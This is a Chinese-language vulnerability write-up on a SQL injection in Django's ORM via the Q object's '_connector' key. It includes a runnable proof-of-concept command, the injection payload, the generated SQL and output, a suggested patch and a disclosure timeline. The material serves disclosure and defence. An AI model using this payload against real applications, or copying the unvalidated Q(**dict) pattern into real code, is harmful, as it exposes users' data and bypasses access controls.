Django ORM Q对象SQL注入漏洞深度解析

本文详细分析了Django ORM中Q对象存在的SQL注入漏洞,攻击者可通过控制_connector参数绕过参数化防护,实现数据泄露和权限绕过,包含完整的PoC和修复方案。

Django ORM Q对象SQL注入漏洞分析

漏洞概述

Django ORM在处理Q对象时存在严重的SQL注入漏洞。WhereNode.as_sql方法使用不安全的字符串格式化将查询连接器(如’AND’)注入原始SQL查询中。攻击者可以通过字典解包方式创建Q对象时控制_connector键值,从而在WHERE子句中注入任意SQL,完全绕过ORM的参数化安全机制。

漏洞详情

漏洞根源位于django/db/models/sql/where.py中的WhereNode.as_sql方法。该方法负责连接多个过滤条件,代码使用不安全的字符串格式化插入连接器:

1
2
# 漏洞代码的简化表示
conn = ' %s ' % self.connector

该方法在将self.connector属性嵌入查询前未进行任何验证或清理。框架允许开发者在初始化Q对象时通过_connector参数指定此连接器。在具有复杂过滤功能的应用程序(如搜索API)中,常见的模式是接受过滤器字典并直接解包:

1
2
3
4
# 易受攻击的应用程序模式示例
filter_dictionary = request.json.get('filters', {})
query = Q(**filter_dictionary) # 漏洞行
results = User.objects.filter(query)

如果攻击者控制filter_dictionary的内容,他们可以插入带有恶意SQL payload的_connector键,该payload将直接注入查询结构。

漏洞验证

环境搭建

创建新的Django项目和应用程序:

1
2
django-admin startproject sqli .
python manage.py startapp webapp

配置设置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# sqli/settings.py
INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'webapp', # <-- 添加此项
]

PoC代码

在webapp目录下创建management/commands文件夹,并在其中创建poc.py文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from django.core.management.base import BaseCommand
from django.db.models import Q
from webapp.models import User
from django.db import connection

def process_vulnerable_request(search_dict):
    """
    此函数模拟应用程序的易受攻击部分。
    
    它接受过滤器字典(如同来自JSON API请求)
    并使用解包模式而不验证键。
    """
    print("--> 进入易受攻击函数: Q(**search_dict)")
    # 漏洞行:解包用户控制的字典
    query = Q(**search_dict)
    return User.objects.filter(query)

class Command(BaseCommand):
    help = "通过Q对象的**kwargs解包演示真实的SQLi PoC"

    def handle(self, *args, **options):
        # 1. 设置
        User.objects.all().delete()
        User.objects.create(username="alice", is_admin=False)
        User.objects.create(username="root", is_admin=True)
        self.stdout.write("已创建示例用户: 'alice' (非管理员) 和 'root' (管理员)")
        self.stdout.write("-" * 40)

        # 2. 恶意payload
        # 此字典模拟攻击者发送的JSON payload
        malicious_user_payload = {
            "is_admin": False,
            "username": "nonexistent_user",
            "_connector": ") OR 1=1 OR ("
        }
        self.stdout.write(f"模拟恶意用户payload:\n{malicious_user_payload}")
        self.stdout.write("-" * 40)

        # 3. 执行漏洞代码
        queryset = process_vulnerable_request(malicious_user_payload)
        self.stdout.write("-" * 40)

        # 4. 验证
        compiler = queryset.query.get_compiler(using='default')
        sql, params = compiler.as_sql()
        self.stdout.write(self.style.SQL_KEYWORD("生成的SQL:"))
        self.stdout.write(sql % tuple(f"'{p}'" for p in params))
        self.stdout.write("-" * 40)

        # 5. 影响
        self.stdout.write("查询结果:")
        results = list(queryset)
        for user in results:
            self.stdout.write(f"  - 找到用户: {user}")
        if any(user.is_admin for user in results):
            self.stdout.write(self.style.SUCCESS("\n 成功:通过字典解包绕过了过滤器!返回了管理员用户。"))
        else:
            self.stdout.write(self.style.ERROR("\n- 失败:注入未绕过过滤器。"))

用户模型

1
2
3
4
5
6
7
8
9
# models.py
from django.db import models

class User(models.Model):
    username = models.CharField(max_length=100)
    is_admin = models.BooleanField(default=False)

    def __str__(self):
        return f"{self.username} (管理员: {self.is_admin})"

执行验证

运行以下命令迁移数据库并执行PoC:

1
2
3
python manage.py makemigrations
python manage.py migrate
python manage.py poc

预期输出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
示例用户创建: 'alice' (非管理员)  'root' (管理员)
----------------------------------------
模拟恶意用户payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
--> 进入易受攻击函数: Q(**search_dict)
----------------------------------------
生成的SQL:
SELECT "webapp_user"."id", "webapp_user"."username", "webapp_user"."is_admin" FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( "webapp_user"."username" = 'nonexistent_user')
----------------------------------------
查询结果:
  - 找到用户: alice (管理员: False)
  - 找到用户: root (管理员: True)

 成功:通过字典解包绕过了过滤器!返回了管理员用户。

修复建议

漏洞的根本原因是对_connector字符串的信任。可以通过在用于字符串格式化之前根据严格的允许列表验证连接器值来修补漏洞。

建议补丁(django/db/models/sql/where.py):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 在WhereNode.as_sql方法中...

def as_sql(self, compiler, connection):
    # 在方法开头添加此验证
    if self.connector not in ('AND', 'OR'):
        raise ValueError(
            f"无效的连接器 '{self.connector}'。必须是'AND'或'OR'。"
        )

    # ...(方法的其余部分正常进行)
    conn = ' %s ' % self.connector
    # ...

影响评估

此漏洞的影响极为严重。能够控制用于过滤模型的字典键的攻击者可以:

  • 绕过访问控制:通过注入始终为真的条件(如OR 1=1)从查询表中检索任何和所有记录,从而绕过WHERE子句中的所有其他过滤器。
  • 泄露敏感数据:攻击者可以从用户表中泄露所有用户(包括管理员)的数据。这适用于通过易受攻击的过滤器公开的任何模型。
  • 降低性能:复杂的注入SQL payload可能被用于通过使数据库过载而导致拒绝服务条件。

时间线

  • 2025年9月12日:cyberstan向Django提交报告
  • 2025年9月17日:Django安全团队确认收到报告
  • 2025年9月26日:状态更改为"已分类"
  • 2025年10月14日:Django安全团队确认漏洞并请求CVE
  • 2025年11月5日:在Django 5.2.8、5.1.14和4.2.26版本中修复
  • 2025年11月6日:报告公开披露

该漏洞已被分配严重等级9.8(严重),涉及SQL注入弱点。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计